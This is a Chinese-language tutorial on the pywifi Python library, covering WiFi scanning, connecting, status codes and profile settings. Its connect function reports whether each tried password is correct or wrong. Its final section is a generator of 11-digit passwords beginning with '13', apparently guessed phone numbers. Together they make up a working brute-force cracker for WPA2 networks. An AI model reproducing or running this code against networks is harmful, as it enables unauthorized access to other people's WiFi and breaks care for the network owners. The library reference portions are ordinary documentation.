pywifi运用
1、WiFi接口操作
(例如:扫描,连接,断开…)
WiFi接口方法如下
['add_network_profile', 'connect', 'disconnect', 'name', 'network_profiles', 'remove_all_network_profiles', 'remove_network_profile', 'scan', 'scan_results', 'status']
(1)返回扫描的WiFi名字
import pywifi from pywifi import const #获取连接状态的常量库 import time def getwfiname(): get_wifiname = [] # 定义接口操作 wifi = pywifi.PyWiFi() # 这里iface就是获取的wifi接口 iface = wifi.interfaces()[0] # 扫描WiFi iface.scan() # 获取扫描的profiles文件 scan_wifi = iface.scan_results() for i in scan_wifi: if i.ssid not in get_wifiname: get_wifiname.append(i.ssid) #返回所有扫描的WiFi名字 return get_wifiname
(2)连接WiFi
def connectwifi(wifiname, password): # 定义接口操作 wifi = pywifi.PyWiFi() # 获取第一个无线网卡 iface = wifi.interfaces()[0] # 删除所有连接过的wifi文件 iface.remove_all_network_profiles() # 创建wifi连接文件 profile = pywifi.Profile() # 设置要连接的wifi的名称 profile.ssid = wifiname # 网卡的开放状态 | auth - AP的认证算法 profile.auth = const.AUTH_ALG_OPEN # wifi的加密算法,一般wifi 加密算法时wps #选择wifi加密方式 akm - AP的密钥管理类型 profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密单元 /cipher - AP的密码类型 profile.cipher = const.CIPHER_TYPE_CCMP # 调用密码 /wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONE profile.key = password # 加载新的连接文件 tep_profile = iface.add_network_profile(profile) # 连接WiFi iface.connect(tep_profile) time.sleep(2) if iface.status() == 4: print(f"WIFI名字:{wifiname} -----密码正确:{profile.key}") else: print(f"WIFI名字:{wifiname} -----密码错误:{profile.key}")
(3)返回连接状态
print(iface.status()) #将返回以下状态码之一,这个库里面就显示了接口是否连接对于的常量: #const.IFACE_DISCONNECTED 也就是0 #const.IFACE_SCANNING 也就是1 #const.IFACE_INACTIVE 也就是2 #const.IFACE_CONNECTING 也就是3 #const.IFACE_CONNECTED 也就是4
2、配置文件
(1)生成配置文件对象:
profile=pywifi.Profile() #生成对象而已,接下来就能对他进行配置操作了
(2)配置文件的操作方式:
ssid - AP的名称 wifi的名称 auth - AP的认证算法 akm - AP的密钥管理类型 wifi的加密算法, cipher - AP的密码类型 key (optinoal) - AP的关键。如果无密码,则应该设置此项CIPHER_TYPE_NONE
说明
auth - AP的认证算法:也是身份验证的算法,其实,几乎所有AP都使用开放算法,尽管我们可以有以下设置
const.AUTH_ALG_OPEN
const.AUTH_ALG_SHARED
akm - AP的密钥管理类型:
const.AKM_TYPE_NONE #AP没有安全设置 const.AKM_TYPE_WPAPSK #AP处于WPA模式 const.AKM_TYPE_WPA2PSK #AP处于WPA2模式 AKM_TYPE_WPA和AKM_TYPE_WPA2针对企业的AP(这里就不解释了): const.AKM_TYPE_WPA const.AKM_TYPE_WPA2
cipher - AP的密码类型:
const.CIPHER_TYPE_NONE #如果AP没有安全设置,则应将密码类型设置为ProfileAKM_TYPE_NONE const.CIPHER_TYPE_WEP const.CIPHER_TYPE_TKIP const.CIPHER_TYPE_CCMP #通常情况下设置为这个,虽然不知道是什么
密码
import numpy as np def dipassword(): dilist = range(0,10) passwordlist = ["1",'3'] for i1 in dilist: for i2 in dilist: for i3 in dilist: for i4 in dilist: for i5 in dilist: for i6 in dilist: for i7 in dilist: for i8 in dilist: for i9 in dilist: passwordlist.extend([i1,i2,i3,i4,i5,i6,i7,i8,i9]) #print("".join(np.array(passwordlist,np.str).tolist())) yield "".join(np.array(passwordlist, np.str).tolist()) passwordlist = ["1", '3']